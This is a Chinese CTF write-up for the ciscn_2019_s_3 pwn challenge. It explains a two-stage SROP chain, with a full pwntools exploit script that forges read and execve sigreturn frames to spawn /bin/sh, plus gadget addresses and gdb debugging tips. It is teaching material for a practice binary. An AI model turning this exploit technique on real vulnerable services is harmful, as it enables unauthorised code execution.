尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
ciscn_2019_s_3 详解:两阶段 SROP 利用链与 syscall 接力
如果你对 SROP 的印象还停留在“用 pwntools 的 SigreturnFrame 把 rax 改成 15”那么 ciscn_2019_s_3 这道题可能会让你卡一个下午。我第一次做这道题时第一段 sigreturn 很快打通了但真正 getshell 的时候才发现程序里根本没有现成的/bin/sh栈上虽然有可疑的字符串碎片但你又没法保证rdi一定指向它。后来我重新推导了一遍执行流和栈指针的接力才意识到 SROP 的难点从来不在 frame 本身而在“如何在多种系统调用之间来回切换”。这篇文章就以 ciscn_2019_s_3 为例把这条高级 ROP 与 SROP 结合的利用链完整拆开。1. 开局三板斧防护检查、漏洞定位与关键 gadget做 pwn 题拿到附件先别急着写脚本先把文件信息和防护机制摸清楚。这题没有开启 PIE也没有 canary这对后续利用非常关键意味着你不需要泄露地址也不需要考虑重定位直接对着固定地址打就行。1.1 checksec 输出怎么看本地用checksec ./ciscn_2019_s_3看到的典型输出是Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这里最重要的两条No PIE程序加载基址固定可以直接写死 gadget、bss 段的地址。No canary栈溢出不会被中断返回地址可以被完整覆盖。NX 开启意味着你不能在栈上放 shellcode 然后跳过去执行所以必须走 ROP / SROP。Partial RELRO 意味着 GOT 表可写但本题其实用不到 GOT 劫持SROP 链路本身足够了。1.2 漏洞点read 半裸写用 IDA 或者 Ghidra 看 main 的逻辑核心就一个函数ssize_t vulnerable_function() { char buf[0x10]; return read(0, buf, 0x400u); }这是一个非常典型的半裸写缓冲区只有 0x10 字节read却给了 0x400 字节的写入权限。关键点在栈偏移。看一下反汇编中的经典开场push rbp mov rbp, rsp sub rsp, 0x10 lea rax, [rbp-0x10] mov edi, 0 mov rsi, rax mov edx, 0x400 call readbuf位于rbp-0x10也就是距离保存的 rbp 有 0x10 字节距离返回地址有 0x10 8 0x18 字节。所以 payload 开头固定是bA * 0x18接下来 8 字节就是返回地址。这个偏移直接决定了第一步的 ret 控制点后面所有 SROP 的 frame 都从这个位置开始延伸。1.3 两个核心 gadget 的找法SROP 需要触发rt_sigreturn也就是系统调用号 15并且要有一个syscall; ret的位置来真正发起系统调用。这道题的附件里我最终用的是这两个地址0x4004DAmov rax, 0xf; ret用来把 rax 固定为 15。0x4004E2syscall; ret用来执行系统调用。不同版本的题目附件地址可能有差异所以不要硬抄。我建议用 ROPgadget 自己确认一遍ROPgadget --binary ./ciscn_2019_s_3 --only syscall|ret ROPgadget --binary ./ciscn_2019_s_3 --only mov|ret或者用 objdump 直接看机器码objdump -d ./ciscn_2019_s_3 | grep -A 2 -B 2 syscall题目里没有pop rax; ret所以没法直接向 rax 塞常数。mov rax, 0xf; ret这个 gadget 就是整个 SROP 链路的引信。如果你找不到它后面的一切都无从谈起。2. 常规 ROP 的困局为什么非要用 SROP看到这里你可能会想既然有栈溢出为什么不直接找pop rdi; ret、pop rsi; ret之类的 gadget 拼一条常规 ROP 出来答案是不好拼。2.1 缺少关键寄存器控制的 gadget拿 execve 系统调用来讲你需要满足rax 59 rdi address_of_command rsi 0 rdx 0常规 ROP 思路是找一堆pop指令逐个把寄存器吹饱。但问题来了程序里没有现成的pop rax; ret所以 rax 没法直接被设置成 59。ret2csu 虽然可以控制 rbx、rbp、r12、r13、r14、r15但它的调用链针对的是call [r12rbx*8]要额外准备一个内存区域存放函数指针非常麻烦。就算你通过 ret2csu 把 rsi、rdx、rdi 都准备好了rax 的问题依然悬而未决。简单说常规 ROP 需要把 4 个寄存器都凑齐而这题能直接控制的寄存器太少了。与其面向 gadget 编程不如换一种思路让内核替你恢复所有寄存器。2.2 rt_sigreturn 被滥用的原理SROP 的核心是rt_sigreturn这是一个专用于从信号处理函数返回的系统调用。用户态进程收到信号并进入 handler 时内核会把进程上下文压到用户栈上当 handler 执行完毕后进程通过rt_sigreturn通知内核“我处理完了恢复现场吧”。内核在恢复现场时会从当前rsp指向的位置读取一个sigframe然后把它解析成寄存器值一次性写回所有的寄存器包括 rax、rdi、rsi、rdx、rip、rsp 等。问题就在这里这个恢复过程本身不校验 sigframe 是从哪来的。攻击者如果在栈上伪造一个sigframe然后让程序执行syscall并触发系统调用号 15内核就会老老实实按照攻击者伪造的寄存器快照去恢复现场。相当于绕过所有 gadget直接“上帝视角”改写任意寄存器。这就是 SROP 的名字来源Sigreturn-Oriented Programming。它本质上是用一次系统调用替代了好几条 ROP gadget。2.3 SigreturnFrame 的布局与对齐pwntools 里有一个现成的类frame SigreturnFrame(archamd64)这个 frame 的二进制结构对应内核里的sigcontext包含uc_flags、uc、ss、cs、rflags、rsp、rip以及各个通用寄存器字段。构造完成后bytes(frame)就是一个可以被rt_sigreturn直接解析的二进制大块。这里要特别注意一个隐蔽坑SigreturnFrame的大小和context.arch密切相关。如果你是 64 位程序但忘了设置 archpwntools 会默认按 32 位结构生成长度差一大截内核解析时不认识大概率直接崩。所以脚本开头必须写context.arch amd64另外当syscall指令执行时rsp必须恰好指向我们布置的 frame 起始位置。也就是说你跳转到syscall; ret之前要保证栈顶就是bytes(frame)的第一个字节。这个对齐问题在下面构造 payload 时尤其重要。3. 两阶段利用链先搬运 /bin/sh再发射 execve既然要 getshell最直接的思路是让程序执行execve(/bin/sh, 0, 0)但程序里没有现成的/bin/sh字符串所以你必须先把/bin/sh\0写到某个固定地址比如 bss 段。这就引出了两阶段 SROP。3.1 为什么不能一发入魂有人会想我直接在第一次溢出的 SigreturnFrame 里设置rip syscall_ret、rax 59、rdi 某个地址不就直接 execve 了吗问题在于那个地址上必须真的有一个/bin/sh\0。程序加载后bss 段是零初始化栈上虽然可能有环境变量里的字符串但没人保证它是连续的/bin/sh更没人保证它的地址可预测。所以标准的解法是分两步第一次 SROP伪造一次read系统调用把/bin/sh\0和第二阶段用到的链都读到 bss 段。第二次 SROP伪造execve系统调用让rdi指向 bss 里刚写入的/bin/sh。这也是这道题最精华的地方SROP 不一定只能打一次它就是一套可以反复使用的寄存器恢复工具。3.2 第一阶段伪造 read 系统调用第一阶段的目标是执行read(0, bss_addr, 0x400)通过 SigreturnFrame 可以这样构造frame1 SigreturnFrame(archamd64) frame1.rip syscall_ret # syscall; ret frame1.rax 0 # SYS_read frame1.rdi 0 # stdin frame1.rsi bss_addr # 写入目标 frame1.rdx 0x400 # 读入长度 frame1.rsp bss_addr 0x100 # read 返回之后的栈顶第一次触发流程是main 返回 - set_rax_15 - syscall_retset_rax_15先把 rax 置成 15随后syscall执行rt_sigreturn内核把 frame1 恢复成上面这些寄存器值。控制流恢复到用户态后程序停在syscall_ret的位置此时的 rax0所以它继续往下执行syscall; ret这句实际变成了read(0, bss_addr, 0x400)。这里我特意把rsp设置成bss_addr 0x100。因为 read 返回后用户态会执行ret而ret读取的地址就是当前rsp指向的位置。把rsp直接搬到 bss0x100相当于让第二阶段链从那里开始这样第一步的 payload 和第二步的 payload 就能在 bss 段完美接力。第一阶段的完整 payload 布局如下bA * 0x18 p64(set_rax_15) p64(syscall_ret) bytes(frame1)当set_rax_15的ret执行时栈顶弹出syscall_ret此时rsp恰好指向bytes(frame1)的起始地址所以syscall能正确解出 frame。3.3 第二阶段在 bss 段重新布置 SROP 链第二阶段输入被read读入 bss 段也就是从bss_addr开始覆盖。我希望bss_addr 0x100这个位置放一条新的 ROP 链让程序再次触发 sigreturn并在这一次真正执行 execve。第二阶段 payload 的设计b/bin/sh\x00 填充字节到 bss 0x100 p64(set_rax_15) p64(syscall_ret) bytes(frame2)/bin/sh\0放在 bss 开头这样方便rdi bss_addr指向它。填充部分是为了把链的起点推到bss_addr 0x100正好匹配第一次 frame1 设置的rsp。frame2 的构造frame2 SigreturnFrame(archamd64) frame2.rip syscall_ret frame2.rax 59 # SYS_execve frame2.rdi bss_addr # /bin/sh 的地址 frame2.rsi 0 # argv NULL frame2.rdx 0 # envp NULL frame2.rsp bss_addr 0x300 # 随便给一个可写位置第二次的执行流程read 返回 - ret 从 bss0x100 取 set_rax_15 - set_rax_15 里 ret 从 bss0x108 取 syscall_ret - 此时 rsp 指向 bss0x110也就是 frame2 的起始 - syscall 执行 rt_sigreturn恢复 frame2 的寄存器 - 程序回到 syscall_ret此时 rax59rdibss_addr - syscall 执行 execve(/bin/sh, 0, 0)这里为什么第二次也能成功触发 sigreturn因为set_rax_15这个 gadget 把 rax 重新置成了 15而 frame2 恰好紧随其后。所以每一次 sigreturn都要有一个set_rax_15作为前缀否则 rax 的值不对内核会陷入其他系统调用。3.4 完整 exp 与逐行说明下面的脚本是我在实际复现时使用的版本注释已经写得很细from pwn import * context.arch amd64 context.log_level debug elf ELF(./ciscn_2019_s_3) set_rax_15 0x4004DA syscall_ret 0x4004E2 bss_addr 0x601100 offset 0x18 # 第一阶段伪造 read把 /bin/sh 读到 bss frame1 SigreturnFrame(archamd64) frame1.rip syscall_ret frame1.rax 0 # SYS_read frame1.rdi 0 # stdin frame1.rsi bss_addr # 目标地址 frame1.rdx 0x400 # 长度 frame1.rsp bss_addr 0x100 # read 返回后的栈顶 payload1 bA * offset payload1 p64(set_rax_15) payload1 p64(syscall_ret) payload1 bytes(frame1) # 第二阶段伪造 execve frame2 SigreturnFrame(archamd64) frame2.rip syscall_ret frame2.rax 59 # SYS_execve frame2.rdi bss_addr # /bin/sh frame2.rsi 0 frame2.rdx 0 frame2.rsp bss_addr 0x300 payload2 b/bin/sh\x00 payload2 payload2.ljust(0x100 - 8, bB) payload2 p64(set_rax_15) payload2 p64(syscall_ret) payload2 bytes(frame2) payload2 payload2.ljust(0x400, bC) io process(./ciscn_2019_s_3) io.send(payload1) io.send(payload2) io.interactive()有几个细节说明一下payload2里的0x100 - 8填充是怎么来的因为bss_addr 0x100处需要放set_rax_15从 bss 到 bss0x100 之前有 0x100 字节其中前 8 字节是/bin/sh\0剩下的才是填充所以填充长度是0x100 - 8。payload2.ljust(0x400, bC)是为了让 read 读满足够的字节。如果发送太短read 可能一直阻塞等待后续数据虽然不会影响 getshell但交互时序会变得不稳定。两次io.send之间不需要 sleep。第一次 payload 触发后程序会进入read等待第二次 send 的数据会进入管道缓冲区read 会正常读到。4. 调试实录断点怎么下坑怎么踩SROP 这类利用链最怕的是表面通了但实际没进 shell。我把自己调试过程里排掉的坑和验证方法写在这里照做能帮你省很多时间。4.1 gdb 断点与观察方法使用 pwndbg 或 gdb 调试时建议在以下三个位置下断点b *0x4004DA # set_rax_15 b *0x4004E2 # syscall_ret第一次断在0x4004DA时检查$rax是否等于 15。然后单步到0x4004E2执行x/30gx $rsp看rsp指向的位置是否是一大段我们伪造的 frame。当syscall指令执行后用si跟进一次再si返回用户态立刻检查寄存器p/x $rax p/x $rdi p/x $rsi p/x $rdx p/x $rip p/x $rsp如果 frame1 生效你会看到rip0x4004E2、rax0、rdi0、rsibss_addr、rdx0x400、rspbss_addr0x100。此时再执行到syscall就相当于调用了 read。第二次输入后再断在0x4004E2检查$rsp是否指向 bss0x110 附近的 frame2。如果这里指向的位置不对说明frame2和链的拼接长度有偏差。4.2 坑一偏移不是 0x400而是 0x18这是我见过最多新手写错的地方。很多人看到read(0, buf, 0x400)就下意识把溢出偏移当成 0x400用cyclic(0x500)来找返回地址。实际上缓冲区只有 16 字节0x400 只是允许读取的最大长度。返回地址距离 buf 只有 0x18 字节后面的 0x400 长度只是给了你足够的空间去放 SigreturnFrame。用cyclic验证时你会看到崩溃地址落在cyclic(0x20)附近而不是 0x400 附近。所以第一段 payload 开头一定是bA * 0x18而不是铺满 0x400 字节再盖地址。4.3 坑二frame 没有紧跟在返回地址后面SROP 要求执行 sigreturn 时rsp恰好指向 frame 的开头。如果你的 payload 在返回地址和 frame 之间多塞了别的东西比如对齐用的 padding那syscall解析出来的就是 garbage轻则栈错乱重则直接 SIGSEGV。标准布局一定是padding(0x18) set_rax_15 syscall_ret frameset_rax_15的ret会把自己的返回地址填给 rip 并跳走同时把rsp加 8。所以当set_rax_15执行完栈顶正好落在syscall_ret的下一个位置也就是 frame 开头。这个对齐关系只要多一个字节或者少一个字节都会坏。验证方法也很简单gdb 下断到syscall_ret后看一眼$rsp指向的内容。如果前 8 字节看起来像 frame 里的uc_flags字段而不是一段可读 ASCII 字符串或 0x4141...那说明布局是对的。4.4 坑三本地成功、远程失败的常见原因本地打通的 exp 换到远程失败绝大多数和输入方式有关。不要用sendline因为它会在末尾追加\n。多出的一个字节会改变第二次 read 的返回地址对齐甚至破坏 frame 尾部。确保payload2长度补齐到 0x400否则部分远程环境会因为 read 没有返回而卡住后续交互。远程连接后的 shell 可能需要等一会才回显。拿到 shell 后如果输入命令没反应先尝试io.sendline(bid)不要急着放弃。另外如果题目附件和我这边的版本不同bss_addr、set_rax_15、syscall_ret三个地址都会变。拿到新附件后先用checksec和ROPgadget重新确认我不建议直接拿别人的固定地址往自己脚本里套。SROP 这道题的核心收获是学会把内核机制当成一个“万能寄存器写入器”。你没找到pop rax; ret没关系只要你还能找到一个mov rax, 15; ret和一个syscall; ret就可以通过多次 sigreturn 完成任意系统调用的编排。以后再遇到 gadget 稀缺的 64 位程序这套两阶段接力思路都能直接复用。
RELATED

相关推荐

CSS字体样式核心机制与实战:字体回退、单位选择和性能优化

CSS字体样式核心机制与实战:字体回退、单位选择和性能优化

字体样式这几行 CSS,看起来平平无奇,真到做项目的时候能把人折磨疯。 font-family 、 font-size 、 font-weight 、 font-style ,这四个属性几乎每个页面都会用到,可它们背后的渲染机制、字体回退逻辑、单位换算陷阱&…

📅 2026/10/3 10:26:54
AI Native团队落地手册:从CLAUDE.md契约到多Agent编排的四周实践

AI Native团队落地手册:从CLAUDE.md契约到多Agent编排的四周实践

1. 从“人写代码”到“人管意图”:AI Native 团队到底在做什么 过去两年,我参与过三个不同规模的团队从传统研发模式向 AI Native 模式迁移的过程。最直观的感受是:大多数团队一开始都把这件事想简单了——以为给每个人配一个 AI 编程助手&am…

📅 2026/10/3 10:26:54
AI Native团队落地指南:从CLAUDE.md到Agent编排的SDLC实践

AI Native团队落地指南:从CLAUDE.md到Agent编排的SDLC实践

1. 为什么“AI Native 团队”不是加个 Copilot 就算数 这两年“AI Native”这个词被用得太泛了。很多团队把 IDE 里装个代码补全插件、在 CI 里挂一个自动 review 的机器人,就对外宣称自己是 AI Native 团队。我实际跟过几个这样的团队,结论很直接&#…

📅 2026/10/3 10:26:54
MORE NEWS

更多资讯

📰

DeepSeek Harness桌面端上线:Skill管理与插件工作流可视化

盼星星盼月亮,DeepSeek Harness 官方桌面端总算是上线了。我大概能从最近社区里的搜索趋势感受到,这一波有多少人跟我一样,等这个桌面端等得脖子都长了。以前大家聊 DeepSeek Harness,核心词基本是"命令行""配置文…

📰

同等学力逻辑符号表达:自然语言翻译成公式的实战指南

简介:着眼于同等学力考试与数学逻辑训练,这份docx文档系统整理了全称量词∀、存在量词∃、否定、蕴含→、逻辑与∧、逻辑或∨等符号的转换规律与真题案例。资源面向备考同等学力、组合数学及逻辑学入门的学习者,旨在解决“自然语言如何转化为…

📰

人工智能经典考试试题全解析:从知识地图到高效备考策略

简介:这是一份人工智能经典考试试题与答案,适合高校人工智能相关专业学生、考研复习者以及对AI基础概念自测的入门学习者。内容围绕逻辑推理、知识表示、产生式系统、语义网络、α-β剪枝、反演归结等核心知识点,设置选择题、填空题、简答及计…

📰

组合夹具参数化设计:用Solidworks方程式与设计表实现快速换型

简介:面向机械设计与工艺装备开发人员的组合夹具参数化设计PDF技术文档,内容源于《煤矿机械》期刊。文档以提升组合夹具组装效率为目标,详细讲解Solidworks三维实体建模、Access参数表数据库建立、Visual Basic 6.0界面二次开发与参数驱动程序…

📰

Java Web教务管理系统实战:JSP+Servlet+MySQL从设计到部署

又到了准备毕业设计的时候,每年这个节点,"Java Web教务管理系统"都会出现在很多高校的选题列表里。这个题目听起来不高不低,但真正动手做的时候,有人卡在技术选型,有人栽在数据库设计,还有人把代…

📰

选择排序到堆排序:从O(n²)到O(n log n)的进阶之路

1. 先从“选择”这件事说起 很多人在学习排序算法的时候,会把选择排序当成入门级的“开胃菜”,觉得它太简单了,看一眼就会。但真正让我对排序算法产生系统认知的,恰恰是把这个“简单”的选择排序和堆排序放到一起去理解的那一刻。…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬